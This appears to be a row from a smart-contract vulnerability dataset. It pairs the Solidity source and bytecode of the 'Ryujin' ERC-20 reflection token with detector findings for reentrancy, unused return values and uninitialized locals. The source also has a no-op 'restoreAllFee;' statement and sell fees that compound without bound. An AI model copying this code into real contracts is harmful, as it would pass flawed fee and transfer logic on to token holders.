15565b5b6000611f9284828501611c36565b91505092915050565b600060208284031215611fb157611fb0612a15565b5b6000611fbf84828501611c4b565b91505092915050565b600060208284031215611fde57611fdd612a15565b5b6000611fec84828501611c8e565b91505092915050565b60006120018383612268565b60208301905092915050565b61201681612780565b82525050565b600061202782612664565b6120318185612692565b935061203c83612654565b8060005b8381101561206d5781516120548882611ff5565b975061205f83612685565b925050600181019050612040565b5085935050505092915050565b61208381612792565b82525050565b60006120948261266f565b61209e81856126a3565b93506120ae818560208601612815565b6120b781612a1a565b840191505092915050565b6120cb816127f4565b82525050565b60006120dc8261267a565b6120e681856126b4565b93506120f6818560208601612815565b6120ff81612a1a565b840191505092915050565b60006121176034836126b4565b915061212282612a38565b604082019050919050565b600061213a6028836126b4565b915061214582612a87565b604082019050919050565b600061215d602b836126b4565b915061216882612ad6565b604082019050919050565b60006121806029836126b4565b915061218b82612b25565b604082019050919050565b60006121a36025836126b4565b91506121ae82612b74565b604082019050919050565b60006121c66032836126b4565b91506121d182612bc3565b604082019050919050565b60006121e9602a836126b4565b91506121f482612c12565b604082019050919050565b600061220c6029836126b4565b915061221782612c61565b604082019050919050565b600061222f6028836126b4565b915061223a82612cb0565b604082019050919050565b60006122526021836126b4565b915061225d82612cff565b604082019050919050565b612271816127ea565b82525050565b612280816127ea565b82525050565b600060208201905061229b600083018461200d565b92915050565b600060a0820190506122b6600083018861200d565b6122c3602083018761200d565b81810360408301526122d5818661201c565b905081810360608301526122e9818561201c565b905081810360808301526122fd8184612089565b90509695505050505050565b600060a08201905061231e600083018861200d565b61232b602083018761200d565b6123386040830186612277565b6123456060830185612277565b81810360808301526123578184612089565b90509695505050505050565b6000602082019050818103600083015261237d818461201c565b905092915050565b6000604082019050818103600083015261239f818561201c565b905081810360208301526123b3818461201c565b90509392505050565b60006020820190506123d1600083018461207a565b92915050565b600060208201905081810360008301526123f181846120d1565b905092915050565b600060208201905081810360008301526124128161210a565b9050919050565b600060208201905081810360008301526124328161212d565b9050919050565b6000602082019050818103600083015261245281612150565b9050919050565b6000602082019050818103600083015261247281612173565b9050919050565b6000602082019050818103600083015261249281612196565b9050919050565b600060208201905081810360008301526124b2816121b9565b9050919050565b600060208201905081810360008301526124d2816121dc565b9050919050565b600060208201905081810360008301526124f2816121ff565b9050919050565b6000602082019050818103600083015261251281612222565b9050919050565b6000602082019050818103600083015261253281612245565b9050919050565b600060208201905061254e6000830184612277565b92915050565b60006040820190506125696000830185612277565b61257660208301846120c2565b9392505050565b60006040820190506125926000830185612277565b61259f6020830184612277565b9392505050565b60006125b06125c1565b90506125bc828261287a565b919050565b6000604051905090565b600067ffffffffffffffff8211156125e6576125e56129b0565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612612576126116129b0565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561263e5761263d6129b0565b5b61264782612a1a565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126d0826127ea565b91506126db836127ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127105761270f6128f4565b5b828201905092915050565b6000612726826127ea565b9150612731836127ea565b92508261274157612740612923565b5b828204905092915050565b6000612757826127ea565b9150612762836127ea565b925082821015612775576127746128f4565b5b828203905092915050565b600061278b826127ca565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006127ff826127ea565b9050919050565b82818337600083830152505050565b60005b83811015612833578082015181840152602081019050612818565b83811115612842576000848401525b50505050565b6000600282049050600182168061286057607f821691505b6020821081141561287457612873612952565b5b50919050565b61288382612a1a565b810181811067ffffffffffffffff821117156128a2576128a16129b0565b5b80604052505050565b60006128b6826127ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156128e9576128e86128f4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d11156129fe5760046000803e6129fb600051612a2b565b90505b90565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600060443d1015612d5e57612de1565b612d666125c1565b60043d036004823e80513d602482011167ffffffffffffffff82111715612d8e575050612de1565b808201805167ffffffffffffffff811115612dac5750505050612de1565b80602083010160043d038501811115612dc9575050505050612de1565b612dd88260200185018661287a565b82955050505050505b90565b612ded81612780565b8114612df857600080fd5b50565b612e0481612792565b8114612e0f57600080fd5b50565b612e1b8161279e565b8114612e2657600080fd5b50565b612e32816127ea565b8114612e3d57600080fd5b5056fea26469706673582212207efe70be6b5f0ed603b41f3e4d750180adf92a0809c6e20cc13c508318cacf8964736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,849 |
0x63ea0b6fad68a2d65194724089b4095778855e88 | /**
*Submitted for verification at Etherscan.io on 2021-06-13
*/
/**
Welcome to Ryūjin!
🐲Ryūjin is the dragon king, sea god, and master of serpents in Japanese mythology. With his magic jewels he is responsible for the tides, and he represents both the perils and bounty of the sea
Visit us at:
https://t.me/RyujinToken
https://ryujin.tech/
https://twitter.com/ryujintoken
Ryūjin is a unique coin, in that it employs a sell cooldown in tandem with a redistribution tax, both to discourage dumping and reward holders!
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Ryujin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Ryūjin";
string private constant _symbol = "RYUJIN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600781526020017f5279c5ab6a696e00000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5259554a494e0000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d45760126014905490610